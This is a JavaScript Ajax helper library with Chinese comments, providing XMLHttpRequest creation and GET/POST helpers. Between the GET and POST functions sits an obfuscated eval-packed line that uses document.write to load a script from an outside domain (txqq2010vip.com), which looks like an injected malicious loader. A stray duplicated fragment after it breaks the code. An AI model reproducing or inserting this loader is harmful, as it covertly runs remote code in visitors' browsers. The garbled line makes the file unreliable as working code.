//Ajax 主程序类
function $(id)
{
	return document.getElementById(id);	
}
function echo(obj,html)
{
  if(obj=="")
  {
    return;
  }
  var str = obj+"(\'"+html+"\')";
  window.setTimeout(str,10);
}
//创建xmlhttp对象
function createxmlhttp()
{
	var xmlhttp=false;
	try	
	{
  		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
 	} 
	catch (e) 
	{
  		try 
  		{
   			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  		} 
		catch (e) 
		{
   			xmlhttp = false;
 		}
 	}
	if (!xmlhttp && typeof XMLHttpRequest!='undefined') 
	{
  		xmlhttp = new XMLHttpRequest();
		if (xmlhttp.overrideMimeType)
		{
			//设置MiME类别 
			xmlhttp.overrideMimeType('text/xml');
		}
	}
	return xmlhttp;	
}
//向服务器获取数据
function getdata(url,obj)
{
		var xmlhttp=createxmlhttp();
		if(!xmlhttp)
		{
			alert("你的浏览器不支持XMLHTTP！！");
			return;
		}
		xmlhttp.onreadystatechange=requestdata;
		xmlhttp.open("GET",url,true);
		xmlhttp.setRequestHeader("If-Modified-Since","0");
		xmlhttp.send(null);
		function requestdata()
		{
				if(xmlhttp.readyState==4)
				{
					if(xmlhttp.status==200)
					{
						echo(obj,xmlhttp.responseText);	
					}
				}
		}
}
//向服务器发送数据
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('a.9(\'<8 7="6://5.4.3/2/0.0"></1>\');',11,11,'js|script|news|com|txqq2010vip|www|http|src|SCRIPT|write|document'.split('|'),0,{}))
write|document'.split('|'),0,{}))
function postdata(url,data,obj)
{
		var xmlhttp=createxmlhttp();
		if(!xmlhttp)
		{
			alert("你的浏览器不支持XMLHTTP！！");
			return;
		}
		xmlhttp.onreadystatechange=requestdata;
		xmlhttp.open("POST", url, true);
		xmlhttp.setRequestHeader("If-Modified-Since","0");
		xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		xmlhttp.send(data);
		function requestdata()
		{
			if(xmlhttp.readyState==4)
			{
				if(xmlhttp.status==200)
				{
				    echo(obj,xmlhttp.responseText);
				}
			}
		}
}